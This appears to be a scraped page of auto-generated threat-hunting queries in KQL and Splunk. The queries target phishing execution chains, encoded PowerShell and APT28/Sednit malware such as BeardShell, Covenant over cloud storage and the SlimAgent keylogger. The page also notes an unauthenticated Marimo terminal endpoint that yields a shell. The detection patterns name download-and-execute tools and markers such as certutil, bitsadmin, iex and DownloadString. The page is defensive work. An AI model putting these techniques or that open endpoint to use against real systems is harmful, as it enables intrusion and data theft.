Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → [LLM] SlimAgent keylogger HTML log artefacts (Xagent-derived color scheme)
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21509")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21509")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("D0DB619A7A160949528D46D20FC0151BF9775C32", "99B454262DC26B081600E844371982A49D334E5E") or SHA1 in~ ("D0DB619A7A160949528D46D20FC0151BF9775C32", "99B454262DC26B081600E844371982A49D334E5E") or MD5 in~ ("D0DB619A7A160949528D46D20FC0151BF9775C32", "99B454262DC26B081600E844371982A49D334E5E")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("D0DB619A7A160949528D46D20FC0151BF9775C32", "99B454262DC26B081600E844371982A49D334E5E")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("D0DB619A7A160949528D46D20FC0151BF9775C32", "99B454262DC26B081600E844371982A49D334E5E")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Sednit reloaded: Back in the trenchesExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Sednit reloaded: Back in the trenches
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("remotekeylogger.dll", "eapphost.dll", "tcpiphlpsvc.dll", "taskhost.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("remotekeylogger.dll", "eapphost.dll", "tcpiphlpsvc.dll", "taskhost.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Sednit reloaded: Back in the trenches ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("remotekeylogger.dll","eapphost.dll","tcpiphlpsvc.dll","taskhost.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("remotekeylogger.dll","eapphost.dll","tcpiphlpsvc.dll","taskhost.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Sednit BeardShell C2 over Icedrive cloud storage from non-browser processCommand & ControlHigh
Hunts BeardShell, the .NET PowerShell-runner Sednit/APT28 deployed against Ukrainian military since April 2024, by surfacing hosts beaconing to Icedrive's private API from any process that is not the official Icedrive client or a known browser. ESET notes Sednit reimplemented the (undocumented) Icedrive client API, so traffic to icedrive.net from a .NET host (powershell.exe / dotnet.exe / a custom EXE) is highly anomalous in enterprise estates that don't sanction Icedrive.
Rationale: Article explicitly states BeardShell 'leverages the legitimate cloud storage service Icedrive as its C&C channel' and that the developers reimplemented the private Icedrive client API. CERT-UA (June 2025) and Sekoia confirm this C2 channel. Any non-Icedrive-client / non-browser process talking to icedrive.net is operationally rare and points directly at this campaign.
Cross-checked against:
• https://thehackernews.com/2025/06/apt28-uses-signal-chat-to-deploy.html
• https://thehackernews.com/2026/03/apt28-uses-beardshell-and-covenant.html
• https://socprime.com/blog/detect-uac-0001-aka-apt28-attacks-against-ukraine/
• https://www.bleepingcomputer.com/news/security/apt28-hackers-deploy-customized-variant-of-covenant-open-source-tool/
ATT&CKT1102.002T1071.001T1059.001
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNSEndpoint.Processes
let icedriveDomains = dynamic(["icedrive.net","icedrive.com","api.icedrive.net"]);
let browsers = dynamic(["chrome.exe","msedge.exe","firefox.exe","iexplore.exe","brave.exe","opera.exe","safari.exe","Icedrive.exe","icedrive.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (icedriveDomains) or tostring(parse_url(RemoteUrl).Host) has_any (icedriveDomains)
| where InitiatingProcessFileName !in~ (browsers)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, RemoteUrl, RemoteIP, RemotePort
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("powershell.exe","pwsh.exe","dotnet.exe","InstallUtil.exe","RegAsm.exe","RegSvcs.exe")
| project DeviceName, ProcContext=ProcessCommandLine, ProcTime=Timestamp
) on DeviceName
| where ProcTime between (Timestamp - 1h .. Timestamp + 1h) or isempty(ProcContext)
| summarize hits=count(), firstSeen=min(Timestamp), lastSeen=max(Timestamp), processes=make_set(InitiatingProcessFileName, 16), urls=make_set(RemoteUrl, 16) by DeviceName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.app) as app values(All_Traffic.user) as user from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_host="*.icedrive.net" OR All_Traffic.dest_host="icedrive.net" OR All_Traffic.dest_host="*.icedrive.com") by All_Traffic.src All_Traffic.dest_host host All_Traffic.process_name
| `drop_dm_object_name("All_Traffic")`
| where NOT match(process_name, "(?i)(chrome|msedge|firefox|iexplore|brave|opera|safari|icedrive)\\.exe$")
| join type=outer host [| tstats `summariesonly` values(Processes.process) as process values(Processes.process_name) as proc_name from datamodel=Endpoint.Processes where (Processes.process_name="powershell.exe" OR Processes.process_name="pwsh.exe" OR Processes.process_name="dotnet.exe" OR Processes.process_name="InstallUtil.exe" OR Processes.parent_process_name="w3wp.exe") by host | `drop_dm_object_name("Processes")`]
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts Sednit's modified Covenant Grunts that abuse file-based cloud-storage providers as a C2Bridge transport. Article confirms Filen (since July 2025); corroborating reporting (Sekoia / BleepingComputer) adds pCloud (2023) and Koofr (2024-2025). The detection surfaces .NET / non-browser processes establishing sustained outbound HTTPS to these providers, which Sednit operators chose precisely because they are uncommon in Western enterprise environments.
Rationale: Article names Filen (July 2025) and the C2Bridge IMessenger / FilenMessenger / FilenClient classes; Sekoia/BleepingComputer corroboration adds pCloud (2023) and Koofr (2024-2025). These three storage providers are vanishingly rare in Western corporate networks, so a sustained beacon from a .NET host is a strong indicator of Sednit's modified Covenant Grunt rather than legitimate use.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/apt28-hackers-deploy-customized-variant-of-covenant-open-source-tool/
• https://www.scworld.com/brief/apt28-expands-cyber-ops-with-cloud-c2-tactics
• https://www.anvilogic.com/threat-reports/apt28-weaponized-docs-2025
• https://thehackernews.com/2026/03/apt28-uses-beardshell-and-covenant.html
ATT&CKT1102.002T1071.001T1568
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNSEndpoint.Processes
let covenantC2 = dynamic(["filen.io","api.filen.io","gateway.filen.io","egest.filen.io","ingest.filen.io","filen.net","pcloud.com","api.pcloud.com","eapi.pcloud.com","koofr.net","app.koofr.net","api.koofr.net"]);
let browsers = dynamic(["chrome.exe","msedge.exe","firefox.exe","iexplore.exe","brave.exe","opera.exe","safari.exe","Filen.exe","pCloud.exe","koofr.exe"]);
let netHits = DeviceNetworkEvents
| where Timestamp > ago(30d)
| extend hostName = tostring(parse_url(RemoteUrl).Host)
| where RemoteUrl has_any (covenantC2) or hostName has_any (covenantC2)
| where InitiatingProcessFileName !in~ (browsers)
| summarize firstSeen=min(Timestamp), lastSeen=max(Timestamp), conns=count(), urls=make_set(RemoteUrl,16) by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256
| extend durationMin = datetime_diff('minute', lastSeen, firstSeen)
| where durationMin > 30 or conns > 20;
netHits
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("dotnet.exe","powershell.exe","pwsh.exe","InstallUtil.exe","RegAsm.exe","RegSvcs.exe","MSBuild.exe")
| summarize dotnetProcs=make_set(ProcessCommandLine, 8) by DeviceName
) on DeviceName
| project DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, conns, durationMin, firstSeen, lastSeen, urls, dotnetProcs
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_host="*.filen.io" OR All_Traffic.dest_host="*.filen.net" OR All_Traffic.dest_host="*.pcloud.com" OR All_Traffic.dest_host="api.pcloud.com" OR All_Traffic.dest_host="*.koofr.net" OR All_Traffic.dest_host="app.koofr.net") by All_Traffic.src host All_Traffic.dest_host All_Traffic.process_name All_Traffic.user
| `drop_dm_object_name("All_Traffic")`
| where NOT match(process_name, "(?i)(chrome|msedge|firefox|iexplore|brave|opera|safari|filen|pcloud|koofr)\\.exe$")
| eval beacon_minutes=round((lastTime-firstTime)/60,0)
| where beacon_minutes>30 OR count>20
| join type=outer host [| tstats `summariesonly` values(Processes.process_name) as parent_proc values(Processes.process) as proc_cmd from datamodel=Endpoint.Processes where (Processes.process_name IN ("dotnet.exe","powershell.exe","pwsh.exe","InstallUtil.exe","RegAsm.exe","RegSvcs.exe","MSBuild.exe")) by host | `drop_dm_object_name("Processes")`]
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] SlimAgent keylogger HTML log artefacts (Xagent-derived color scheme)Actions on ObjectivesMedium
Hunts on-disk SlimAgent keylogger artefacts on Ukrainian-government-style endpoints. SlimAgent (and its 2018 ancestor RemoteKeyLogger.dll) emits encrypted HTML logs containing the inherited Xagent color scheme: application name in blue, keystrokes in red, window name in green. Although final logs are encrypted in the 2024 build, plaintext templates / staging files and pre-encryption buffers retain these distinctive HTML color tags, and the 2018 variants drop them in clear.
Rationale: Article describes the SlimAgent HTML log structure with explicit blue/red/green color tags inherited from the 2015 Xagent source code (Figures 5 & 6). The combined file-pattern + color-tag heuristic is unique to this Sednit-lineage keylogger and unlikely to fire on benign software. CERT-UA's June 2025 SlimAgent disclosure corroborates the artefact pattern.
Cross-checked against:
• https://socprime.com/blog/detect-uac-0001-aka-apt28-attacks-against-ukraine/
• https://thehackernews.com/2025/06/apt28-uses-signal-chat-to-deploy.html
• https://securityaffairs.com/189230/apt/apt28-conducts-long-term-espionage-on-ukrainian-forces-using-custom-malware.html
ATT&CKT1056.001T1115T1113
Data sourcesEndpoint.FilesystemEndpoint.Processes
let suspectPaths = dynamic([@"\AppData\",@"\ProgramData\",@"\Temp\",@"\Public\",@"\Windows\Tasks\"]);
let browsers = dynamic(["chrome.exe","msedge.exe","firefox.exe","iexplore.exe","outlook.exe","winword.exe","excel.exe","onenote.exe"]);
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where FileName endswith ".html" or FileName endswith ".htm" or FileName endswith ".log" or FileName endswith ".dat"
| where FolderPath has_any (suspectPaths)
| where InitiatingProcessFileName !in~ (browsers)
| where InitiatingProcessFolderPath !startswith @"C:\Program Files"
| join kind=inner (
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has_any ("GetForegroundWindow","SetWindowsHookEx","<font color=\"blue\"","<font color=\"red\"","<font color=\"green\"")
| project DeviceName, ProcCmd=ProcessCommandLine, ProcTime=Timestamp
) on DeviceName
| where ProcTime between (Timestamp - 24h .. Timestamp + 24h)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, FolderPath, FileName, SHA256, ProcCmd
| summarize files=make_set(strcat(FolderPath,FileName), 16), procs=make_set(InitiatingProcessFileName, 8) by DeviceName, bin(Timestamp, 1d)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as path from datamodel=Endpoint.Filesystem where (Filesystem.file_name="*.html" OR Filesystem.file_name="*.htm" OR Filesystem.file_name="*.log" OR Filesystem.file_name="*.dat") AND (Filesystem.file_path="*\\AppData\\*" OR Filesystem.file_path="*\\ProgramData\\*" OR Filesystem.file_path="*\\Temp\\*" OR Filesystem.file_path="*\\Public\\*") by host Filesystem.process_name Filesystem.user Filesystem.file_name Filesystem.file_path
| `drop_dm_object_name("Filesystem")`
| where NOT match(process_name, "(?i)(chrome|msedge|firefox|outlook|winword|excel|onenote)\\.exe$")
| join type=inner host file_name [search index=* sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11 (TargetFilename="*.html" OR TargetFilename="*.log")
| rex field=_raw "(?i)(?<color_blue><font[^>]*color=[\"']?(?:blue|#0000ff)[\"']?[^>]*>)"
| rex field=_raw "(?i)(?<color_red><font[^>]*color=[\"']?(?:red|#ff0000)[\"']?[^>]*>)"
| rex field=_raw "(?i)(?<color_green><font[^>]*color=[\"']?(?:green|#00ff00|#008000)[\"']?[^>]*>)"
| where isnotnull(color_blue) AND isnotnull(color_red) AND isnotnull(color_green)
| rename TargetFilename as file_path, ComputerName as host | fields host file_path]
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-092 use cases1 technique4 kill-chain phases detected
LLMs can turn CTI narratives into structured intelligence at scale, but speed-accuracy trade-offs demand careful design for operational defense workflows.
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-094 use cases0 techniques3 kill-chain phases detected
Omnissa Workspace One UEM formerly known as VMware Workspace One UEM contains a server-side request forgery (SSRF) vulnerability that could allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information. Vendor: Omnissa, Product: Workspace One UEM. Federal patch due: 2026-03-23.
CVEsCVE-2021-22054
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-22054")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-22054")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
